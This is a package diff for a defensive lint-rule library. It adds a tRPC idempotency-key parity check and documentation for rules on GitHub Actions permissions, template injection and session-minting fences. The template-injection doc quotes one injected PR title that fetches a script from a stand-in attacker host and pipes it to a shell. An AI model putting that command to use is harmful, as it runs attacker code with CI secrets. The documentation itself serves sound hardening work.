@noctcore/lint-meta-rules 0.4.2 → 0.6.0

package/dist/trpc.d.ts

@@ -0,0 +1,59 @@
+import { IMetaRule } from '@noctcore/harness';
+
+/**
+ * Options for {@link createIdempotencyKeyParityRule}.
+ *
+ * Ported from Settly, which hardcoded the middleware (`IdempotencyMiddleware`),
+ * the key (`idempotencyKey`) and the two trees (`apps/api/src` routers,
+ * `apps/web/src` callers). Those are options; the decorator shape defaults to
+ * `nestjs-trpc`'s (`@Router({ alias })`, `@UseMiddlewares(...)`) and the client
+ * shape to a `trpc.<alias>.<method>` proxy. With no `middleware` the rule is inert.
+ */
+interface IdempotencyKeyParityOptions {
+    /** Rule id, for running more than one instance. Default `idempotency-key-parity`. */
+    readonly id?: string;
+    /** The middleware class that de-duplicates on a client-sent key. Unset or empty = inert. */
+    readonly middleware?: string;
+    /** Globs of the server router files. Default: none (inert). */
+    readonly routerGlobs?: readonly string[];
+    /** Globs of every client file that can call a procedure or send a key. Default: none. */
+    readonly clientGlobs?: readonly string[];
+    /** The token a client file must mention to count as sending a key. Default `idempotencyKey`. */
+    readonly keyToken?: string;
+    /** What precedes `<alias>.<method>` at a client call site. Default `trpc.`. */
+    readonly clientPrefix?: string;
+    /** The class decorator that names the router. Default `Router`. */
+    readonly routerDecorator?: string;
+    /** The key in that decorator's object argument holding the router's alias. Default `alias`. */
+    readonly aliasKey?: string;
+    /** The method decorator listing a procedure's middlewares. Default `UseMiddlewares`. */
+    readonly middlewareDecorator?: string;
+    /**
+     * `<alias>.<method>` procedures whose caller deliberately sends no key. Keep
+     * it empty: the honest fix for "a key will never be sent here" is to drop the
+     * middleware. Default: none.
+     */
+    readonly exempt?: readonly string[];
+    /** Paths with any of these segments are skipped. Default `node_modules`, `.git`, `dist`, `.turbo`, `coverage`. */
+    readonly skipDirs?: readonly string[];
+    /** Appended to every message: how this project threads the key. */
+    readonly hint?: string;
+    /** Whether a violation fails CI. Default `true`. */
+    readonly ciCritical?: boolean;
+}
+/**
+ * Every idempotency-guarded procedure has a client caller that sends a key, or
+ * no client caller at all.
+ *
+ * The middleware only de-duplicates when the client sends a key, and neither
+ * half fails when the other is missing: the server passes the request through,
+ * the client gets a normal response, and both test suites pass. A guard nobody
+ * sends a key to is decoration advertising double-submit protection that does
+ * not exist. The rule holds the two lists side by side. A procedure with no
+ * client caller passes: the guard is correct in advance of the screen that will
+ * use it. The reverse (a key sent to an unguarded procedure) is inert and needs
+ * no rule.
+ */
+declare function createIdempotencyKeyParityRule(options?: IdempotencyKeyParityOptions): IMetaRule;
+
+export { type IdempotencyKeyParityOptions, createIdempotencyKeyParityRule };

package/dist/trpc.js

@@ -0,0 +1,73 @@
+import {
+  DEFAULT_SKIP_DIRS,
+  escapeRegExp,
+  globFiles,
+  readSourceText
+} from "./chunk-OYFQKSJN.js";
+
+// src/trpc/idempotency-key-parity.ts
+var DEFAULT_ID = "idempotency-key-parity";
+function routerAlias(source, names) {
+  return names.alias.exec(source)?.[2] ?? null;
+}
+function guardedMethods(source, names) {
+  const methods = [];
+  const decorator = new RegExp(names.decorator.source, "gu");
+  let match;
+  while ((match = decorator.exec(source)) !== null) {
+    if (!names.middleware.test(match[1] ?? "")) continue;
+    const rest = source.slice(match.index + match[0].length);
+    const method = /\basync\s+([A-Za-z_$][\w$]*)\s*\(/u.exec(rest)?.[1];
+    if (method !== void 0) methods.push(method);
+  }
+  return methods;
+}
+function createIdempotencyKeyParityRule(options = {}) {
+  const id = options.id ?? DEFAULT_ID;
+  const middleware = options.middleware ?? "";
+  const keyToken = options.keyToken ?? "idempotencyKey";
+  const clientPrefix = options.clientPrefix ?? "trpc.";
+  const skipDirs = options.skipDirs ?? DEFAULT_SKIP_DIRS;
+  const exempt = new Set(options.exempt ?? []);
+  const names = {
+    alias: new RegExp(
+      `@${escapeRegExp(options.routerDecorator ?? "Router")}\\(\\{[^}]*\\b${escapeRegExp(options.aliasKey ?? "alias")}:\\s*(['"])([^'"]+)\\1`,
+      "u"
+    ),
+    decorator: new RegExp(`@${escapeRegExp(options.middlewareDecorator ?? "UseMiddlewares")}\\(([^)]*)\\)`, "u"),
+    middleware: new RegExp(`\\b${escapeRegExp(middleware)}\\b`, "u")
+  };
+  return {
+    id,
+    category: "source-text",
+    ciCritical: options.ciCritical ?? true,
+    description: "Procedures carrying the idempotency middleware must have a client caller that sends an idempotency key, or no client caller at all.",
+    run(ctx) {
+      if (middleware === "") return [];
+      const clientSources = globFiles(ctx.glob, options.clientGlobs ?? [], skipDirs).map((file) => readSourceText(ctx.read, file)).filter((text) => text !== null);
+      const violations = [];
+      for (const file of globFiles(ctx.glob, options.routerGlobs ?? [], skipDirs)) {
+        const source = readSourceText(ctx.read, file);
+        if (source === null || !names.middleware.test(source)) continue;
+        const alias = routerAlias(source, names);
+        if (alias === null) continue;
+        for (const method of guardedMethods(source, names)) {
+          const path = `${alias}.${method}`;
+          if (exempt.has(path)) continue;
+          const callers = clientSources.filter((text) => text.includes(`${clientPrefix}${path}`));
+          if (callers.length === 0) continue;
+          if (callers.some((text) => text.includes(keyToken))) continue;
+          violations.push({
+            file,
+            rule: id,
+            message: `\`${path}\` carries ${middleware} but its client callers never send \`${keyToken}\`, so the guard is inert. Send the key from the caller, or drop the middleware and say why.${options.hint === void 0 || options.hint === "" ? "" : ` ${options.hint}`}`
+          });
+        }
+      }
+      return violations;
+    }
+  };
+}
+export {
+  createIdempotencyKeyParityRule
+};

package/docs/rules/github-actions-least-privilege-permissions.md

@@ -0,0 +1,71 @@
+# `github-actions-least-privilege-permissions`
+
+> A workflow's top-level `permissions:` exists, is not `write-all` / `read-all`, and grants no write.
+
+## Why
+
+The top-level `permissions:` is the `GITHUB_TOKEN` every job gets unless the job says otherwise. A
+write there hands every job, and every third-party action any job runs, the power to push commits,
+cut releases or edit issues. Leaving the block out is worse: the token then falls back to the
+repository's default, which is read-write on many repositories and organisations. A compromised
+action or an injected script can only do what the token allows, so the smallest token is the
+cheapest containment there is.
+
+Keep the top level read-only and grant each write on the job that needs it.
+
+## What it flags
+
+- A workflow with no top-level `permissions:`, naming each job that has no job-level
+  `permissions:` either and so runs on the default token. Reported on line 1.
+- `permissions: write-all` and `permissions: read-all` at the top level: every scope, including
+  ones the workflow never uses.
+- Every `<scope>: write` in the top-level block (block or flow mapping), one violation per scope, on
+  its own line, unless the scope is in `allowTopLevelWrite`.
+
+```yaml
+# Bad
+permissions: write-all
+
+permissions:
+  contents: write
+  id-token: write
+
+# Good
+permissions:
+  contents: read
+jobs:
+  release:
+    permissions:
+      contents: write
+      id-token: write
+```
+
+## What it leaves alone
+
+- A workflow with no top-level block when every job declares its own `permissions:`: the default
+  token then reaches no job.
+- `permissions: {}`, and any scope at `read` or `none`.
+- Writes on a job, a `permissions:` input under a step's `with:`, and a commented-out line.
+
+## Factory
+
+```ts
+createGithubActionsLeastPrivilegePermissionsRule(options?: GithubActionsLeastPrivilegePermissionsOptions): IMetaRule
+```
+
+| Option | Type | Default | Meaning |
+| --- | --- | --- | --- |
+| `workflowGlobs` | `string[]` | `['.github/workflows/*.yml', '.github/workflows/*.yaml']` | Workflow files to scan. |
+| `allowTopLevelWrite` | `string[]` | `[]` | Scopes allowed at `write` in the top-level block, for a repo that accepts, say, `contents: write` on a single-job release workflow. |
+| `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
+
+## Limits
+
+Line-based text, not a YAML parse. It checks the top level only; a job that grants itself more than
+it uses is not judged. A reusable workflow (`on: workflow_call`) is held to the same bar, although
+its token can never exceed its caller's.
+
+Prior art: zizmor's [`excessive-permissions`](https://docs.zizmor.sh/audits/#excessive-permissions)
+audit and the OpenSSF Scorecard
+[Token-Permissions](https://github.com/ossf/scorecard/blob/main/docs/checks.md#token-permissions)
+check.

package/docs/rules/github-actions-no-template-injection.md

@@ -0,0 +1,93 @@
+# `github-actions-no-template-injection`
+
+> `run:` scripts and `actions/github-script` bodies never expand attacker-controllable `${{ }}` context.
+
+## Why
+
+GitHub substitutes `${{ }}` into a `run:` script before the shell sees it. A PR titled
+`"; curl https://evil.example/x.sh | sh #` turns `echo "${{ github.event.pull_request.title }}"`
+into a command that runs with the job's `GITHUB_TOKEN` and secrets. On `pull_request_target`,
+`issue_comment` or `workflow_run` that token often has write access, and anyone who can open an
+issue can supply the text. The same holds for the `script:` of `actions/github-script`, which is
+JavaScript built from the substituted text.
+
+The fix is to pass the value through `env:` and read it as a variable. An environment variable is
+data; the shell never parses its contents as script.
+
+## What it flags
+
+A `${{ }}` expression inside a `run:` value (inline, a `|` / `>` block, or a multi-line plain
+scalar) or inside the `script:` input of an `actions/github-script` step, when it names one of:
+
+- `github.event.issue.title` / `.body`, `github.event.pull_request.title` / `.body`,
+  `github.event.discussion.title` / `.body`
+- `github.event.pull_request.head.ref` / `.head.label`, `github.head_ref`,
+  `github.event.workflow_run.head_branch`
+- `github.event.comment.body`, `github.event.review.body`, `github.event.review_comment.body`
+- `github.event.pages.*.page_name`
+- `github.event.commits.*.message` / `.author` / `.committer`, the same under
+  `github.event.head_commit` and `github.event.workflow_run.head_commit`
+- `inputs.<name>` and `github.event.inputs.<name>` (option `checkInputs`, on by default), except an
+  input the same file declares as `type: boolean`, `number` or `choice`
+- `steps.<id>.outputs.<name>` (option `checkStepOutputs`, off by default)
+
+Workflow files and composite actions (`action.yml` / `action.yaml` at any depth) are scanned. A
+shell comment inside a block is still read: GitHub expands expressions there too. Each violation
+carries the 1-indexed line.
+
+```yaml
+# Bad
+- run: echo "${{ github.event.pull_request.title }}"
+- uses: actions/github-script@<sha> # v7
+  with:
+    script: console.log(`${{ github.event.issue.body }}`)
+
+# Good
+- env:
+    TITLE: ${{ github.event.pull_request.title }}
+  run: echo "$TITLE"
+- uses: actions/github-script@<sha> # v7
+  env:
+    BODY: ${{ github.event.issue.body }}
+  with:
+    script: console.log(process.env.BODY)
+```
+
+## What it leaves alone
+
+- The same expression under `env:`, `with:` (other than a github-script `script:`), `if:`,
+  `name:` or `defaults.run`. Those are not parsed as script.
+- Contexts nobody outside the repo controls: `github.sha`, `github.ref_name`,
+  `github.event.pull_request.number`, `github.event.pull_request.head.sha`, `matrix.*`,
+  `secrets.*`, `needs.*`, and `steps.*.outputs.*` unless `checkStepOutputs` is on.
+- A `script:` input of any action other than `actions/github-script`.
+- A YAML comment (`# run: ...`) and the trailing ` # ...` of a plain inline `run:`, which YAML
+  strips before GitHub sees the value.
+- Paths with a `node_modules`, `.git`, `dist`, `.turbo` or `coverage` segment.
+
+## Factory
+
+```ts
+createGithubActionsNoTemplateInjectionRule(options?: GithubActionsNoTemplateInjectionOptions): IMetaRule
+```
+
+| Option | Type | Default | Meaning |
+| --- | --- | --- | --- |
+| `workflowGlobs` | `string[]` | `['.github/workflows/*.yml', '.github/workflows/*.yaml']` | Workflow files to scan. |
+| `actionGlobs` | `string[]` | `action.yml` / `action.yaml` at any depth | Composite action metadata to scan. |
+| `skipDirs` | `string[]` | `['node_modules', '.git', 'dist', '.turbo', 'coverage']` | An action path with any of these segments is skipped. |
+| `checkInputs` | `boolean` | `true` | Treat `inputs.*` as attacker-controlled. A reusable workflow or composite action cannot know what its caller passes. |
+| `checkStepOutputs` | `boolean` | `false` | Treat `steps.*.outputs.*` as attacker-controlled. Turn it on when steps echo event text into outputs. |
+| `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
+
+## Limits
+
+Line-based text, not a YAML parse. An expression split across lines, the bracket form
+(`github.event['issue']['title']`), `toJSON(github.event)` and a value laundered through `env.*`
+set from event text are not seen. An expression that only tests a tainted field
+(`${{ contains(github.event.issue.title, 'x') }}`) evaluates to a boolean but is still reported;
+move the test to `if:` or into the script.
+
+Prior art: zizmor's [`template-injection`](https://docs.zizmor.sh/audits/#template-injection) audit
+and GitHub's
+[security hardening guide](https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections).

package/docs/rules/idempotency-key-parity.md

@@ -0,0 +1,83 @@
+# `idempotency-key-parity`
+
+> A procedure guarded by an idempotency middleware has a client caller that sends the key, or no
+> client caller at all.
+
+Import it from the `trpc` entry point:
+
+```ts
+import { createIdempotencyKeyParityRule } from '@noctcore/lint-meta-rules/trpc';
+```
+
+## Why
+
+An idempotency middleware only de-duplicates when the client sends a key, and neither half fails when
+the other is missing. The server passes the request straight through, the client gets a normal
+response, and both test suites pass. A guard nobody sends a key to is decoration advertising
+double-submit protection that does not exist. In the project this rule was extracted from, an audit
+found 14 of 30 guarded procedures whose only web caller had never sent a key.
+
+The gap is only visible by holding the two lists side by side, which is what this rule does.
+
+## What it flags
+
+For every method in a `routerGlobs` file decorated with a `@<middlewareDecorator>(...)` list naming
+`middleware` (as a whole word), the rule derives `<alias>.<method>` from the class's
+`@<routerDecorator>({ <aliasKey>: '...' })`. If some `clientGlobs` file contains
+`<clientPrefix><alias>.<method>` and none of those files contains `keyToken`, the router file is
+reported.
+
+The method is read from the decorator to the next `async <name>(`, the shape `nestjs-trpc` routers
+take.
+
+## What it leaves alone
+
+- A guarded procedure with no client caller: the guard is correct in advance of the screen that will
+  use it, and demanding a caller would be demanding the screen.
+- A procedure without the middleware, even when a client sends it a key: the header is ignored, so it
+  is inert rather than misleading.
+- A middleware whose name merely starts with the configured one (`IdempotencyMiddlewareLegacy`).
+- Procedures listed in `exempt`, and a router file with no alias.
+
+A key sent from a DIFFERENT client file than the one naming the call counts, and so does a client test
+file, if `clientGlobs` match it: the check is per procedure, across the client tree.
+
+With no `middleware` the rule is inert.
+
+## Factory
+
+```ts
+createIdempotencyKeyParityRule(options?: IdempotencyKeyParityOptions): IMetaRule
+```
+
+| Option | Type | Default | Meaning |
+| --- | --- | --- | --- |
+| `id` | `string` | `'idempotency-key-parity'` | Rule id. |
+| `middleware` | `string` | none (inert) | The middleware class that de-duplicates on a client-sent key. |
+| `routerGlobs` | `string[]` | `[]` | Server router files. |
+| `clientGlobs` | `string[]` | `[]` | Every client file that can call a procedure or send a key. |
+| `keyToken` | `string` | `'idempotencyKey'` | The token a client file must mention to count as sending a key. |
+| `clientPrefix` | `string` | `'trpc.'` | What precedes `<alias>.<method>` at a client call site. |
+| `routerDecorator` | `string` | `'Router'` | The class decorator that names the router. |
+| `aliasKey` | `string` | `'alias'` | The key in that decorator's object holding the alias. |
+| `middlewareDecorator` | `string` | `'UseMiddlewares'` | The method decorator listing a procedure's middlewares. |
+| `exempt` | `string[]` | `[]` | `<alias>.<method>` procedures whose caller deliberately sends no key. Keep it empty: the honest fix is to drop the middleware. |
+| `skipDirs` | `string[]` | `node_modules`, `.git`, `dist`, `.turbo`, `coverage` | Path segments skipped. |
+| `hint` | `string` | none | Appended to every message: how this project threads the key. |
+| `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
+
+## Worked example: Settly
+
+```ts
+createIdempotencyKeyParityRule({
+  middleware: 'IdempotencyMiddleware',
+  routerGlobs: ['apps/api/src/**/*.router.ts'],
+  clientGlobs: ['apps/web/src/**/*.{ts,tsx}'],
+  hint: "Thread `trpc: { context: { idempotencyKey } }` through the hook's mutationOptions (see hooks/use-idempotency-key.ts).",
+});
+```
+
+## When not to use it
+
+If the key is generated server-side or by a client interceptor on every mutation, no call site can
+forget it.

package/docs/rules/session-epoch-captured.md

@@ -0,0 +1,83 @@
+# `session-epoch-captured`
+
+> Every call into the sign-in seam passes the session epoch it captured before reading the
+> credential.
+
+Import it from the `session` entry point:
+
+```ts
+import { createSessionEpochCapturedRule } from '@noctcore/lint-meta-rules/session';
+```
+
+## Why
+
+A common way to make "sign out everywhere" stick is a per-user epoch: a revocation bumps it, and a mint
+refuses to write a session under a stale value. Where the epoch is read decides what the fence covers.
+Read inside the mint, it covers the session-store write and nothing else, so the whole credential check
+(a password hash verify, an OAuth token exchange) is a window in which a sign-in that already read the
+revoked state still mints a surviving session.
+
+So every entry point reads the epoch BEFORE it reads the credential and hands the value to the seam
+that ends the sign-in. Forgetting to is invisible: the sign-in works and every test passes, because the
+race only loses under a concurrent revocation. This rule fails any call into the seam whose arguments
+never mention the epoch.
+
+## What it flags
+
+Each `.<call>(...)` call in a file matched by `sourceGlobs` whose argument text (found by balancing
+parentheses) does not mention `field` as a whole word.
+
+## What it leaves alone
+
+- `epochless: true`, or any identifier that merely contains the field: whole words only.
+- Files in `exempt` (the seam's own home, which defines the method and its default).
+- Files ending in an `excludeSuffixes` entry, and `skipDirs` segments.
+
+With no `call` the rule is inert.
+
+Ported from Settly, whose rule matched calls with a regex that stopped at the first `\n );` after the
+call. That missed a call written on one line, and let an unstamped one-line call borrow the epoch of
+the next multi-line call. The parenthesis scanner here reads each call on its own.
+
+## Factory
+
+```ts
+createSessionEpochCapturedRule(options?: SessionEpochCapturedOptions): IMetaRule
+```
+
+| Option | Type | Default | Meaning |
+| --- | --- | --- | --- |
+| `id` | `string` | `'session-epoch-captured'` | Rule id. |
+| `call` | `string` | none (inert) | The post-credential seam, matched as `.<call>(`. |
+| `field` | `string` | `'epoch'` | The argument every call must mention. |
+| `exempt` | `string[]` | `[]` | Repo-relative files skipped outright: the seam's own home. |
+| `captureCall` | `string` | none | How the epoch is captured, quoted in the message. |
+| `sourceGlobs` | `string[]` | `[]` (inert) | Source to read. |
+| `skipDirs` | `string[]` | `node_modules`, `.git`, `dist`, `.turbo`, `coverage` | Path segments skipped. |
+| `excludeSuffixes` | `string[]` | `.spec.ts`, `.spec.tsx`, `.test.ts`, `.test.tsx` | File endings skipped. |
+| `hint` | `string` | none | Appended to every message. |
+| `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
+
+## Worked example: Settly
+
+```ts
+createSessionEpochCapturedRule({
+  call: 'beginOrEstablish',
+  exempt: ['apps/api/src/modules/auth/services/two-factor-challenge.service.ts'],
+  captureCall: 'sessionService.readEpoch(userId)',
+  sourceGlobs: [
+    'apps/*/{src,test,tests,security-spec}/**/*.{ts,tsx}',
+    'packages/*/{src,test,tests,security-spec}/**/*.{ts,tsx}',
+    'tools/**/*.{ts,tsx}',
+  ],
+  excludeSuffixes: ['.spec.ts', '.test.ts'],
+});
+```
+
+Two Settly flows mint without a captured epoch and are outside the rule by construction, because they
+never call the seam: signup (the account did not exist when the request began) and password change (it
+revokes first and then re-issues, so the current counter is the right one).
+
+## When not to use it
+
+Without a revocation epoch (or an equivalent generation counter) there is no fence to extend.

package/docs/rules/session-kind-stamped.md

@@ -0,0 +1,81 @@
+# `session-kind-stamped`
+
+> Every call that mints a session stamps the principal's kind onto it, or sits in an allowlisted,
+> provably single-kind flow.
+
+Import it from the `session` entry point:
+
+```ts
+import { createSessionKindStampedRule } from '@noctcore/lint-meta-rules/session';
+```
+
+## Why
+
+When one sign-in serves two kinds of account (staff and a customer portal, say) and the request
+pipeline reads the kind from the SESSION rather than the database, the stamp is only as good as the
+mint that wrote it. A session minted without the field reads as whatever the reader defaults to. For the
+fence between the two kinds that is a silent promotion: a portal account whose session lost its stamp
+is a staff caller inside its own tenant, and the tenant boundary waves it through as legitimate.
+
+This is not hypothetical. In the project this rule was extracted from, two re-issue paths (a password
+change and a revoke-other-sessions action, both reachable by a portal account) shipped without the
+stamp while every gate was green, because nothing mechanical looked.
+
+## What it flags
+
+For each `.<mintCall>(...)` call in a file matched by `sourceGlobs` (arguments found by balancing
+parentheses, so a multi-line options object with nested calls is read whole):
+
+1. If the arguments contain an object literal, that literal must mention `field` as a whole word. Each
+   call is checked on its own, so a file with two mints where only one stamps is still reported.
+2. If the arguments carry no literal (options built elsewhere), the file must mention `field`
+   somewhere. Coarser, but no silent hole.
+3. Otherwise the file must be in `allowUnstamped`.
+
+Residual gap, stated rather than hidden: a file that stamps the field on one delegated mint and forgets
+it on a second delegated mint passes clause 2.
+
+## What it leaves alone
+
+- `.<mintCall>Something(`, and the method's definition.
+- `kindless` or `kinds`: the field must appear as a whole word.
+- Files in `allowUnstamped`, files ending in an `excludeSuffixes` entry, and `skipDirs` segments.
+
+With no `mintCall` the rule is inert.
+
+## Factory
+
+```ts
+createSessionKindStampedRule(options?: SessionKindStampedOptions): IMetaRule
+```
+
+| Option | Type | Default | Meaning |
+| --- | --- | --- | --- |
+| `id` | `string` | `'session-kind-stamped'` | Rule id. |
+| `mintCall` | `string` | none (inert) | The method whose call mints a session, matched as `.<mintCall>(`. |
+| `field` | `string` | `'kind'` | The session field every mint must stamp. |
+| `allowUnstamped` | `string[]` | `[]` | Repo-relative files whose mints may stamp nothing because they provably never mint for an account that needs the field. Keep it short; write the proof next to each entry. |
+| `stampExample` | `string` | none | An example of the stamp, quoted in the message. |
+| `sourceGlobs` | `string[]` | `[]` (inert) | Application source to read. |
+| `skipDirs` | `string[]` | `node_modules`, `.git`, `dist`, `.turbo`, `coverage` | Path segments skipped. |
+| `excludeSuffixes` | `string[]` | `.spec.ts`, `.spec.tsx`, `.test.ts`, `.test.tsx` | File endings skipped. |
+| `hint` | `string` | none | Appended to every message. |
+| `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
+
+## Worked example: Settly
+
+```ts
+createSessionKindStampedRule({
+  mintCall: 'establishSession',
+  // Self-signup creates a new tenant and its owner ADMIN; a PORTAL row is only ever
+  // invite-provisioned, so no input to this flow produces a portal session.
+  allowUnstamped: ['apps/api/src/modules/auth/services/register.service.ts'],
+  stampExample: "...(user.kind === 'PORTAL' ? { kind: 'PORTAL' as const } : {})",
+  sourceGlobs: ['apps/*/{src,test,tests,security-spec}/**/*.{ts,tsx}'],
+});
+```
+
+## When not to use it
+
+If the pipeline reads the account kind from the database on every request, a missing stamp costs
+nothing and there is nothing to fence.

package/docs/rules/session-landing-declared.md

@@ -0,0 +1,87 @@
+# `session-landing-declared`
+
+> Every file that opens a door into a session declares where it leaves the caller, and a door whose
+> landing demands a return shape has it.
+
+Import it from the `session` entry point:
+
+```ts
+import { createSessionLandingDeclaredRule } from '@noctcore/lint-meta-rules/session';
+```
+
+## Why
+
+With two shells behind one sign-in (staff and a customer portal, say), the client can only send an
+account to the right one if the response that ends the sign-in says which kind it is. The first door
+(the password sign-in) usually does. A second door that finishes a sign-in from a different service (a
+second-factor challenge) can return the same union and still have its landing unwired, and nothing
+fails: the account signs in, lands in the wrong shell, and bounces off its guard. In the project this
+rule was extracted from, every portal account with 2FA enabled did exactly that.
+
+Two sibling rules fence the same seam, [`session-mint-callers`](./session-mint-callers.md) (who may
+mint) and [`session-kind-stamped`](./session-kind-stamped.md) (the session carries the kind). Neither
+can see this, because both are about the session and this is about the RESPONSE.
+
+## What it flags
+
+1. **Completeness.** A file matched by `sourceGlobs` that calls any of `doorCalls` and is not in
+   `doors`. A new door fails the build until someone classifies it, which is what keeps the list an
+   enumeration rather than a docblock nobody updates.
+2. **The landing's demand.** A door whose landing maps to a string in `landings` and whose source never
+   contains that string (for example `Promise<ILoginResult>`, the return type that carries the kind to
+   the client). Coarse on purpose: it proves the kind REACHES the client, which is what a text rule can
+   see; where the client then navigates is the client's own tests' job.
+3. **The declarations.** A door whose `landing` is not a key of `landings`, or whose `because` is empty.
+4. **Staleness.** A door whose file no longer exists, or that `sourceGlobs` do not reach.
+
+## What it leaves alone
+
+- A file that only defines a door method (the leading dot is required).
+- A door whose landing maps to `null`: a re-issue that replaces the cookie of a caller already inside a
+  shell has no landing to get wrong.
+- Files ending in an `excludeSuffixes` entry, and `skipDirs` segments.
+
+With no `doorCalls` the rule is inert.
+
+## Factory
+
+```ts
+createSessionLandingDeclaredRule(options?: SessionLandingDeclaredOptions): IMetaRule
+```
+
+| Option | Type | Default | Meaning |
+| --- | --- | --- | --- |
+| `id` | `string` | `'session-landing-declared'` | Rule id. |
+| `doorCalls` | `string[]` | `[]` (inert) | Methods whose call opens a door into a session (the mint, and the gate in front of it), each matched as `.<name>(`. |
+| `doors` | `{ file, landing, because }[]` | `[]` | Every door: a repo-relative file, one of the `landings`, and why that landing is right. |
+| `landings` | `Record<string, string \| null>` | `{}` | The landings a door may declare, each mapped to the text a door with it must contain, or `null`. |
+| `sourceGlobs` | `string[]` | `[]` (inert) | Application source to read. |
+| `skipDirs` | `string[]` | `node_modules`, `.git`, `dist`, `.turbo`, `coverage` | Path segments skipped. |
+| `excludeSuffixes` | `string[]` | `.spec.ts`, `.spec.tsx`, `.test.ts`, `.test.tsx` | File endings skipped. |
+| `hint` | `string` | none | Appended to every message. |
+| `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
+
+## Worked example: Settly
+
+```ts
+const AUTH = 'apps/api/src/modules/auth';
+
+createSessionLandingDeclaredRule({
+  doorCalls: ['establishSession', 'beginOrEstablish'],
+  landings: { 'login-result': 'Promise<ILoginResult>', reissue: null, 'staff-only': null },
+  doors: [
+    { file: `${AUTH}/services/login.service.ts`, landing: 'login-result', because: 'The password sign-in: either half of the product arrives here.' },
+    { file: `${AUTH}/services/two-factor-challenge.service.ts`, landing: 'login-result', because: 'The second door: verifyChallenge finishes a sign-in on its own.' },
+    { file: `${AUTH}/oauth/oauth.controller.ts`, landing: 'staff-only', because: 'OAuthAccountService refuses a PORTAL account on every resolution branch.' },
+    { file: `${AUTH}/services/register.service.ts`, landing: 'staff-only', because: 'Self-signup mints a tenant and its owner ADMIN.' },
+    { file: `${AUTH}/services/password-change.service.ts`, landing: 'reissue', because: 'The caller already holds a session.' },
+    { file: `${AUTH}/services/session-management.service.ts`, landing: 'reissue', because: 'revokeOthers re-issues the caller their own session.' },
+  ],
+  sourceGlobs: ['apps/*/{src,test,tests,security-spec}/**/*.{ts,tsx}'],
+});
+```
+
+## When not to use it
+
+With a single shell, or with the landing decided server-side by a redirect that already reads the
+account, there is no landing a door can get wrong.